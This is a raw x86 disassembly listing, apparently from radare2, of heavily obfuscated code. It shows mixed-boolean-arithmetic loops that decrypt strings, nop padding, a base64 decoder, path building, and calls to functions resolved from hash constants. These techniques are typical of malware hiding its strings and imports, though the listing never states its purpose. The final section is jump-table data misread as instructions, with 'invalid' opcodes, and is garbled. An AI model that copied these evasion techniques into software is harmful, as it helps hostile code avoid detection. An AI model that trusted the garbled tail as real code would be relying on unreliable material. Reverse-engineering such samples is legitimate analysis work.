lea eax, [ebp - 0x16]
mov byte [eax + 2], 0
mov word [eax], 0
mov edx, 0xcc7fa23c
mov edi, 0x33805dc3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + edx + 0x33805d94]
lea ecx, [edi - 0x33805d00]
xor ecx, edx
and ecx, esi
xor ecx, edx
not ecx
or ecx, edi
lea ebx, [edx + ecx]
inc ebx
mov ecx, ebx
and ecx, 0xfffffffd
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
xor eax, 2
imul eax, ecx
add ebx, eax
mov eax, ebx
not eax
and eax, edx
and ebx, edi
sub ebx, eax
mov eax, ebx
xor eax, esi
not ebx
and ebx, esi
add ebx, ebx
sub ebx, eax
mov eax, ebx
not eax
and eax, 0x2d
and ebx, 0xd2
sub ebx, eax
inc bl
mov byte [ebp + edx + 0x33805d94], bl
inc edx
dec edi
cmp edx, 0xcc7fa259
jne 0x427af0
mov edi, dword [ebp - 0x40]
add edi, 2
mov eax, dword [ebp - 0x38]
movzx edx, word [eax]
test dx, dx
je 0x427b81
add eax, 2
mov word [edi], dx
add edi, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x427b70
mov word [edi], 0
movzx edx, word [ebp - 0x30]
test dx, dx
mov ecx, dword [ebp - 0x10]
je 0x427bb1
lea esi, [ebp - 0x2e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], dx
add edi, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x427ba0
mov word [edi], 0
lea eax, [ebp - 0x50]
push 0x60
push 3
push 0x120089
push eax
push ecx
call fcn.0043e510
add esp, 0x14
mov eax, dword [ebp - 0x44]
mov esi, dword [ebp + eax - 0x94]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x427be0
mov dword [ebp - 0x84], eax
mov edx, eax
sar edx, 1
mov eax, dword [ebp - 0x54]
lea ecx, [edx + eax]
mov dword [ebp - 0x74], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x427c13
mov eax, 0xffffffff
mov dword [ebp - 0x40], esi
push eax
call fcn.00409730
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov esi, edi
test cx, cx
je 0x427c51
mov edx, dword [ebp - 0x70]
mov esi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427c40
mov dword [ebp - 0x38], edi
mov word [esi], 0x5c
mov dword [ebp - 0x30], 0x134611b4
mov dword [ebp - 0x2c], 0x6fcd6ddb
mov dword [ebp - 0x28], 0x6bde69c9
mov dword [ebp - 0x24], 0x67356504
mov dword [ebp - 0x20], 0x63c361ec
mov dword [ebp - 0x1c], 0x7fc37df0
mov word [ebp - 0x18], 0x7978
lea eax, [ebp - 0x16]
mov byte [eax + 2], 0
mov word [eax], 0
mov ecx, 0xcc7fa23c
mov edx, 0x33805dc3
nop
movzx eax, byte [ebp + ecx + 0x33805d94]
mov dword [ebp - 0x10], eax
lea edi, [edx - 0x33805d00]
xor edi, ecx
and edi, eax
xor edi, ecx
not edi
or edi, edx
lea ebx, [ecx + edi]
inc ebx
mov edi, ebx
and edi, 0xfffffffd
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
xor eax, 2
imul eax, edi
add ebx, eax
mov eax, ebx
not eax
and eax, ecx
and ebx, edx
sub ebx, eax
mov eax, ebx
mov edi, dword [ebp - 0x10]
xor eax, edi
not ebx
and ebx, edi
add ebx, ebx
sub ebx, eax
mov eax, ebx
not eax
and eax, 0x2d
and ebx, 0xd2
sub ebx, eax
inc bl
mov byte [ebp + ecx + 0x33805d94], bl
inc ecx
dec edx
cmp ecx, 0xcc7fa259
jne 0x427ca0
add esi, 2
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
test cx, cx
je 0x427d41
lea edx, [eax + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427d30
mov word [esi], 0
movzx ecx, word [ebp - 0x30]
test cx, cx
mov edi, dword [ebp - 0x38]
je 0x427d71
lea edx, [ebp - 0x2e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427d60
mov word [esi], 0
lea eax, [ebp - 0x50]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.0043e510
add esp, 0x14
jmp dword [0x446000]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446004]
xor ebx, ebx
jmp dword [0x446084]
push edi
call fcn.00409740
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44609c]
lea eax, [ebp - 0x88]
push 0
push eax
push dword [ebp - 0x50]
call fcn.0043e8a0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44600c]
mov esi, dword [ebp - 0x88]
lea eax, [esi + 1]
push eax
call fcn.00409730
add esp, 4
push 0
push esi
mov esi, eax
push eax
push dword [ebp - 0x50]
call fcn.0043e970
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x446014]
mov eax, dword [ebp - 0x88]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44601c]
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x9c], eax
push eax
call fcn.00401af0
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], 0xd0d5c2c7
mov dword [ebp - 0x2c], 0xc3cec4ce
mov dword [ebp - 0x28], 0xd8ccd48e
mov dword [ebp - 0x24], 0xfbf6fcf6
mov dword [ebp - 0x20], 0xe8e5eded
mov word [ebp - 0x1c], 0xf4e1
mov byte [ebp - 0x1a], 0x4e
mov dword [ebp - 0x19], 0
mov ecx, 0x14
mov eax, 0xeb
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0x44]
mov ebx, ecx
and ebx, esi
mov edi, eax
xor edi, esi
add edi, esi
sub edi, ebx
and esi, eax
lea ebx, [esi + esi]
not ebx
add ebx, esi
and ebx, edi
mov dl, 0x9b
sub dl, bl
mov byte [ebp + ecx - 0x44], dl
inc ecx
dec eax
cmp ecx, 0x2f
jne 0x427e90
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call fcn.00401eb0
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add esi, 2
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x427ee0
mov ecx, edx
and ecx, 3
mov edi, edx
or edi, 3
imul edi, ecx
xor ecx, 3
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x34]
and edx, 0xfffffffc
imul edx, ecx
add edi, edx
mov edx, dword [ebp - 0x34]
mov ecx, edx
xor ecx, 1
and esi, 0xfffffffc
sub esi, ecx
shr edi, 2
movzx ecx, byte [eax + esi]
cmp ecx, 0x3d
je 0x427f2b
cmp ecx, 0x2e
jne 0x427f2c
dec edi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [ebp - 0x6c], eax
je 0x427f3e
cmp ecx, 0x2e
jne 0x427f3f
dec edi
mov eax, edi
and eax, 1
mov dword [ebp - 0x98], edi
mov ecx, edi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.00409730
add esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x34], 0
je 0x42804d
xor edi, edi
mov esi, 2
jmp 0x427f93
mov edx, dword [ebp - 0x34]
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42804d
mov ebx, dword [ebp - 0x6c]
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.0041d2d0
add esp, 4
mov byte [ebp - 0x10], al
movzx eax, byte [ebx + esi - 1]
push eax
call fcn.0041d2d0
mov edx, dword [ebp - 0x34]
add esp, 4
mov ebx, eax
movzx ecx, byte [ebp - 0x10]
shl cl, 2
shr al, 4
and al, 3
or al, cl
mov ecx, dword [ebp - 0x48]
mov byte [ecx + edi], al
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
cmp esi, edx
jae 0x427f83
mov eax, dword [ebp - 0x6c]
movzx eax, byte [eax + esi]
push eax
call fcn.0041d2d0
add esp, 4
cmp al, 0x40
je 0x427f80
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov ebx, edi
inc edi
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x10], ebx
mov byte [edx + ebx], cl
lea ecx, [esi + 1]
mov edx, dword [ebp - 0x34]
cmp ecx, edx
jae 0x427f83
mov ebx, eax
mov eax, dword [ebp - 0x6c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041d2d0
mov edx, dword [ebp - 0x34]
add esp, 4
cmp al, 0x40
je 0x427f83
shl bl, 6
add al, bl
mov ecx, dword [ebp - 0x48]
mov edi, dword [ebp - 0x10]
mov byte [ecx + edi + 1], al
add edi, 2
jmp 0x427f83
mov eax, dword [ebp - 0x98]
add eax, 0xfffffffb
mov esi, dword [ebp - 0xa0]
mov dword [esi], eax
mov eax, dword [ebp - 0x48]
add eax, 5
mov dword [esi + 4], eax
mov edi, dword [ebp - 0x5c]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0xe18a387a
push dword [0x44aefc]
call fcn.0043dad0
add esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446024]
cmp dword [ebp - 0x74], 0xfffffff8
jge 0x4280b3
mov eax, 0xffffffff
jmp 0x4280bc
mov eax, dword [ebp - 0x84]
add eax, 0x10
mov esi, dword [ebp - 0x4c]
push eax
call fcn.00409730
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [esi], 0xc1aac795
mov dword [esi + 4], 0xcd94c350
mov dword [esi + 8], 0xc956cf50
mov dword [esi + 0xc], 0xf5cacb54
mov word [esi + 0x10], 0
mov eax, 0x15d919cc
mov ecx, 0xea26e633
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax - 0x15d919cc]
mov edi, ecx
and edi, 0xea00003b
mov esi, eax
and esi, 0x14c90104
sub esi, edi
lea edi, [edx + edx]
not edi
add edi, edx
or edi, esi
not edi
not edx
and edx, esi
or edx, edi
mov esi, edx
and esi, 0x6a
mov edi, edx
xor edi, 0xea
lea ebx, [edi + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov edx, dword [ebp - 0x4c]
mov byte [edx + eax - 0x15d919cc], bl
mov esi, dword [ebp - 0x4c]
inc eax
dec ecx
cmp eax, 0x15d919de
jne 0x428100
mov edx, dword [ebp - 0x40]
movzx ecx, word [edx]
mov ebx, dword [ebp - 0x10]
mov eax, ebx
test cx, cx
je 0x428181
add edx, 2
mov eax, ebx
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428170
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
mov edi, dword [ebp - 0x38]
je 0x4281b3
mov edx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x58]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4281a0
jmp 0x4281b6
mov esi, dword [ebp - 0x58]
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
push dword [eax]
push dword [eax + 4]
push ebx
call fcn.0040a400
mov ecx, ebx
mov ebx, eax
jmp dword [0x44602c]
jmp dword [0x446038]
movzx eax, bl
jmp dword [eax*4 + 0x44609c]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x74]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x428210
mov eax, 0xffffffff
jmp 0x428219
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.00409730
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x3c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x428251
mov edx, dword [ebp - 0x70]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428240
mov dword [ebp - 0x38], esi
mov word [eax], 0x5c
mov edx, dword [ebp - 0x80]
mov dword [edx], 0x398e3b98
mov dword [edx + 4], 0x258b27a9
mov dword [edx + 8], 0x21b6238b
mov dword [edx + 0xc], 0x2d932f40
mov dword [edx + 0x10], 0x29bb2bb0
mov dword [edx + 0x14], 0x15b917b6
mov dword [edx + 0x18], 0x11b913bd
mov dword [edx + 0x1c], 0x1d8a1fb4
mov dword [edx + 0x20], 0x19801bb7
mov dword [edx + 0x24], 0x59207b3
mov dword [edx + 0x28], 0x1ac03a8
mov word [edx + 0x2c], 0xf00
mov ecx, dword [ebp - 0xa8]
mov word [ecx + 4], 0
mov dword [ecx], 0
mov ecx, 0x24bfd6f4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx]
mov edi, esi
xor edi, 0x5b000860
mov ebx, ecx
xor ebx, 0x80e2231f
xor esi, 0x80e2231f
and esi, ebx
mov ebx, ecx
xor ebx, 0x7f1ddce0
and ebx, edi
or ebx, esi
mov esi, ebx
and esi, 1
or ebx, 1
add ebx, esi
add bl, 0xc8
mov byte [edx], bl
inc edx
dec ecx
cmp ecx, 0x24bfd6c0
jne 0x4282d0
add eax, 2
mov edx, dword [ebp - 0x40]
movzx ecx, word [edx]
test cx, cx
je 0x428341
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428330
mov word [eax], 0
mov ecx, dword [ebp - 0x80]
movzx ecx, word [ecx]
test cx, cx
je 0x428371
mov edx, dword [ebp - 0x64]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428360
mov word [eax], 0
cmp dword [ebp - 0x74], 0xfffffff7
jge 0x428390
mov eax, 0xffffffff
jmp 0x428399
mov eax, dword [ebp - 0x84]
add eax, 0x12
push eax
call fcn.00409730
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x7c]
mov dword [edx], 0xb722895b
mov dword [edx + 4], 0xb328b559
mov dword [edx + 8], 0xbf2ab15d
mov dword [edx + 0xc], 0xbb54bd50
mov word [edx + 0x10], 0xb9b8
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov word [eax + 4], 0
xor eax, eax
mov ecx, 0xd6e682de
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0xfffffffc
mov ebx, ecx
sub ebx, esi
mov esi, eax
and esi, 0x3c
mov edi, ebx
and edi, esi
xor esi, ebx
lea ebx, [esi + edi*2]
mov esi, ebx
mov edi, ebx
xor edi, 0xbb
or ebx, 0x44
and ebx, edi
not esi
and esi, 0xbb
or ebx, esi
xor bl, byte [edx]
xor bl, 0xbb
add bl, 0xaa
mov byte [edx], bl
inc edx
add eax, 2
inc ecx
cmp eax, 0x30
jne 0x4283f0
mov edx, dword [ebp - 0x40]
movzx ecx, word [edx]
mov esi, dword [ebp - 0x10]
mov eax, esi
test cx, cx
je 0x428461
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428450
mov word [eax], 0
mov ecx, dword [ebp - 0x7c]
movzx ecx, word [ecx]
test cx, cx
mov edi, dword [ebp - 0xac]
je 0x428491
mov edx, dword [ebp - 0x60]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x428480
mov word [eax], 0
mov dword [edi], 0x2126275e
mov dword [edi + 4], 0
mov eax, 0x6f1b72c3
mov ecx, 0xde36e586
nop
nop
nop
mov esi, ecx
and esi, 0x8c
mov edx, eax
xor edx, 0xc6
add edx, esi
xor dl, byte [edi + eax - 0x6f1b72c3]
add dl, 0x53
mov byte [edi + eax - 0x6f1b72c3], dl
inc eax
add ecx, 2
cmp eax, 0x6f1b72cb
jne 0x4284b0
push 0
push 0
push 0xc00000
push edi
mov esi, dword [ebp - 0x38]
push esi
mov edi, dword [ebp - 0x10]
push edi
push dword [ebp + 8]
call fcn.00420e60
add esp, 0x1c
mov ebx, eax
jmp dword [0x4460a4]
jmp dword [0x4460b0]
push edi
call fcn.00409740
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.00409740
add esp, 4
jmp dword [0x4460b4]
mov eax, dword [ebp - 0x68]
and al, 1
or al, bl
mov dword [ebp - 0x68], eax
jmp dword [0x4460bc]
jmp dword [0x446074]
push esi
call fcn.00409740
add esp, 4
nop
nop
push esi
call fcn.00409740
add esp, 4
jmp dword [0x446080]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], 0xd8dbdac5
mov byte [ebp - 0x2c], 0
mov ecx, 0x79534acf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebp + ecx - 0x79534aff]
mov edx, ecx
or edx, eax
and eax, ecx
sub edx, eax
lea eax, [edx - 0x7ae799c2]
mov esi, 0x7ae79a0b
sub esi, edx
or esi, 1
add edx, esi
add edx, 0x8518663e
xor eax, 1
lea eax, [eax + edx*2]
add al, 0x24
mov byte [ebp + ecx - 0x79534aff], al
inc ecx
cmp ecx, 0x79534ad4
jne 0x428580
mov ecx, dword [0x44aef0]
test ecx, ecx
je 0x428600
mov edx, dword [ebp - 0x30]
xor esi, esi
mov eax, dword [0x44aef4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [eax + esi*8], 0x1b6183f2
je 0x4285f0
inc esi
cmp ecx, esi
jne 0x4285e0
jmp 0x428600
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
jne 0x428606
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x446084]
push dword [ebp - 0x10]
push 4
push eax
push dword [0x44aef8]
call fcn.0043be00
add esp, 0x10
jmp dword [0x446084]
push dword [ebp - 0x48]
call fcn.00409740
add esp, 4
push dword [ebp - 0x9c]
call fcn.004020a0
add esp, 4
jmp dword [0x44606c]
jmp dword [0x446054]
push 0xa7ffa4f5
push dword [0x449ee4]
call fcn.0043dad0
add esp, 8
mov ecx, dword [ebp - 0x5c]
push dword [ecx + 4]
call eax
mov eax, dword [case.0x42736d.92]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push ecx
call fcn.00409740
mov ecx, dword [ebp - 0x10]
add esp, 4
push ecx
call fcn.00409740
mov ecx, dword [ebp - 0x10]
add esp, 4
jmp dword [0x446040]
push dword [ebp - 0x3c]
call fcn.00409740
add esp, 4
mov eax, dword [ebp - 0x68]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x30], 0xc3abc184
mov dword [ebp - 0x2c], 0xc7a5c557
mov dword [ebp - 0x28], 0xcb58c9a7
mov dword [ebp - 0x24], 0xcfcecda8
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + eax - 0x30]
mov edx, eax
or edx, 0xef8b0ad0
and edx, ecx
mov edi, edx
and edi, 0xffffffdd
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
sub esi, edx
add ecx, eax
add ecx, 0xef8b0ad0
add ecx, esi
mov edx, ecx
not edx
and ecx, 0xef
and edx, 0x10
sub ecx, edx
mov byte [ebp + eax - 0x30], cl
mov ecx, eax
xor ecx, 0x92382fe4
and eax, 0xb
add eax, eax
sub eax, ecx
inc eax
mov ecx, eax
and ecx, 0x64
or eax, 0x92382fe4
add eax, ecx
cmp eax, 0x10
jb 0x4286d0
lea edi, [ebp - 0xbc]
lea eax, [ebp - 0x30]
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xac]
lea eax, [ebp - 0x20]
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [ebp - 0x30], 0xb925bb40
mov dword [ebp - 0x2c], 0xbd5bbf2d
mov dword [ebp - 0x28], 0xb124b32d
mov dword [ebp - 0x24], 0xb573b754
mov dword [ebp - 0x20], 0xa938ab53
mov dword [ebp - 0x1c], 0xad38af4f
mov dword [ebp - 0x18], 0xa1a2a323
lea esi, [ebp - 0x14]
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
nop
nop
nop
nop
nop
nop
mov eax, edx
add al, 0x5f
xor al, byte [ebp + edx - 0x30]
add al, 0x25
mov byte [ebp + edx - 0x30], al
inc edx
cmp edx, 0x1f
jne 0x4287a0
lea edx, [ebp - 0xee]
lea eax, [ebp - 0x30]
mov edi, edx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xd2]
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [ebp - 0x30], 0x9f77995c
mov dword [ebp - 0x2c], 0xa3459d6b
mov dword [ebp - 0x28], 0xa750a153
mov dword [ebp - 0x24], 0xab7aa540
mov dword [ebp - 0x20], 0xaf68a97c
lea ebx, [ebp - 0x1c]
mov word [ebp - 0x1c], 0xadac
mov dword [ebp - 0x1a], 0
mov ecx, 0xda
mov esi, 0x25
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ebp + ecx - 0x10a]
mov eax, esi
xor eax, ecx
and eax, edi
xor eax, ecx
add al, 0xbe
mov byte [ebp + ecx - 0x10a], al
inc ecx
dec esi
cmp ecx, 0xf4
jne 0x428820
lea esi, [ebp - 0xd2]
lea eax, [ebp - 0x30]
mov edi, esi
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xbe]
mov ecx, 1
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
jmp dword [0x445fe0]
mov dword [ebp - 0x30], 0xc3abc184
mov dword [ebp - 0x2c], 0xc7a5c557
mov dword [ebp - 0x28], 0xcb58c9a7
mov dword [ebp - 0x24], 0xcfcecda8
xor eax, eax
nop
movzx ecx, byte [ebp + eax - 0x30]
mov edx, eax
or edx, 0xef8b0ad0
and edx, ecx
mov edi, edx
and edi, 0xffffffdd
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
sub esi, edx
add ecx, eax
add ecx, 0xef8b0ad0
add ecx, esi
mov edx, ecx
not edx
and ecx, 0xef
and edx, 0x10
sub ecx, edx
mov byte [ebp + eax - 0x30], cl
mov ecx, eax
xor ecx, 0x92382fe4
and eax, 0xb
add eax, eax
sub eax, ecx
inc eax
mov ecx, eax
and ecx, 0x64
or eax, 0x92382fe4
add eax, ecx
cmp eax, 0x10
jb 0x4288a0
lea edi, [ebp - 0xbc]
lea edx, [ebp - 0x30]
mov ecx, 4
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xac]
lea esi, [ebp - 0x20]
xor edx, edx
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [ebp - 0x30], 0xb925bb40
mov dword [ebp - 0x2c], 0xbd5bbf2d
mov dword [ebp - 0x28], 0xb124b32d
mov dword [ebp - 0x24], 0xb573b754
mov dword [ebp - 0x20], 0xa938ab53
mov dword [ebp - 0x1c], 0xad38af4f
mov dword [ebp - 0x18], 0xa1a2a323
lea esi, [ebp - 0x14]
mov word [ebp - 0x14], 0
mov byte [ebp - 0x12], 0
nop
nop
mov ecx, edx
add cl, 0x5f
xor cl, byte [ebp + edx - 0x30]
add cl, 0x25
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, 0x1f
jne 0x428970
lea edx, [ebp - 0xee]
lea ebx, [ebp - 0x30]
mov edi, edx
mov ecx, 7
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
lea edi, [ebp - 0xd2]
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [ebp - 0x30], 0x9f77995c
mov dword [ebp - 0x2c], 0xa3459d6b
mov dword [ebp - 0x28], 0xa750a153
mov dword [ebp - 0x24], 0xab7aa540
mov dword [ebp - 0x20], 0xaf68a97c
lea esi, [ebp - 0x1c]
mov word [ebp - 0x1c], 0xadac
mov dword [ebp - 0x1a], 0
mov ecx, 0xda
mov edi, 0x25
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebp + ecx - 0x10a]
mov ebx, edi
xor ebx, ecx
and ebx, eax
xor ebx, ecx
add bl, 0xbe
mov byte [ebp + ecx - 0x10a], bl
inc ecx
dec edi
cmp ecx, 0xf4
jne 0x4289f0
lea edi, [ebp - 0xd2]
lea eax, [ebp - 0x30]
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xbe]
mov ecx, 1
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
jmp case.0x42736d.62
mov dword [ebp - 0x8c], esi
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x2e]
mov dword [ebp - 0xa8], ecx
mov ecx, dword [ebp - 0x60]
lea edx, [ecx + 0x12]
mov dword [ebp - 0xa4], edx
mov edx, dword [ebp - 0x3c]
add edx, 2
mov dword [ebp - 0x70], edx
add dword [ebp - 0x78], 2
add eax, 2
mov dword [ebp - 0x64], eax
add ecx, 2
mov dword [ebp - 0x60], ecx
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x68], 0
cmp ecx, 0xc
setne al
mov dword [ebp - 0x44], 0
jmp dword [eax*4 + 0x445fe4]
jmp dword [0x445fec]
push 0x68820042
inc edx
add byte [ecx + ebp*2 + 0x69a50042], cl
inc edx
add byte [esi + 0x6a], cl
inc edx
add byte [ebp + 0x6d004269], dh
push 0x42
add byte [edi + 0x6a], dh
inc edx
add cl, ch
insd dword es:[edi], dx
inc edx
add byte [eax - 0x28ffbd96], ah
insd dword es:[edi], dx
inc edx
add dl, bl
push 0x42
add dh, ah
imul eax, dword [edx], 0x37
imul eax, dword [edx], 0xffffffe6
imul eax, dword [edx], 0xffffffc3
imul eax, dword [edx], 0xffffffe0
imul eax, dword [edx], 0x4b
insb byte es:[edi], dx
inc edx
add al, ah
imul eax, dword [edx], 0xffffffe0
imul eax, dword [edx], 0xffffffe0
imul eax, dword [edx], 0xffffffe6
imul eax, dword [edx], 0xffffffec
imul eax, dword [edx], 0xffffffd7
insd dword es:[edi], dx
inc edx
add ch, bl
insd dword es:[edi], dx
inc edx
add cl, ch
insd dword es:[edi], dx
inc edx
add byte [edx - 0x5fffbd92], dl
outsb dx, byte [esi]
inc edx
add byte [eax - 0x5fffbd92], ah
outsb dx, byte [esi]
inc edx
add byte [eax - 0x59ffbd92], ah
outsb dx, byte [esi]
inc edx
add byte [esi + ebp*2 + 0x701f0042], dh
inc edx
add byte [0x77004270], cl
jo 0x445eed
add byte [eax + esi*2 + 0x42], ah
add byte [eax + esi*2 + 0x42], bh
add byte [eax + esi*2 + 0x42], ch
add byte [edi + 0x70], dh
inc edx
add al, al
jo 0x445f01
add dh, dh
jno 0x445f05
add byte [edx], bl
ja 0x445f09
add byte [eax], ch
jb 0x445f0d
add byte [0x6c004277], al
jb 0x445f15
add dl, ah
jbe 0x445f19
add dh, dl
jb 0x445f1d
add dl, ah
jbe 0x445f21
add byte [ebx + esi*2 + 0x42], dh
add dl, ah
jbe 0x445f29
add byte [eax - 0x3bffbd8d], dl
jbe 0x445f31
add byte [esi + 0x1d004273], dh
je 0x445f39
add byte [ebx + 0x74], ah
inc edx
add byte [edx - 0x5fffbd8c], dl
je 0x445f41
invalid
invalid
je 0x445f41
add byte [eax - 0x2fffbd8c], ah
je 0x445f45
add al, dl
je 0x445f49
add cl, cl
je 0x445f4d
add al, dl
je 0x445f51
add byte [eax + 0x74], dl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], al
js 0x445f61
add byte [ecx], al
add byte [eax], al
add byte [edx], ch
jne 0x445f69
add dh, bh
je 0x445f6d
add byte [esi], bl
jne 0x445f71
add al, ah
je 0x445f75
add byte [edx], ch
jne 0x445f79
add bl, ch
je 0x445f7d
add byte [edx + 0x44004276], dh
jne 0x445f85
add dh, cl
jne 0x445f89
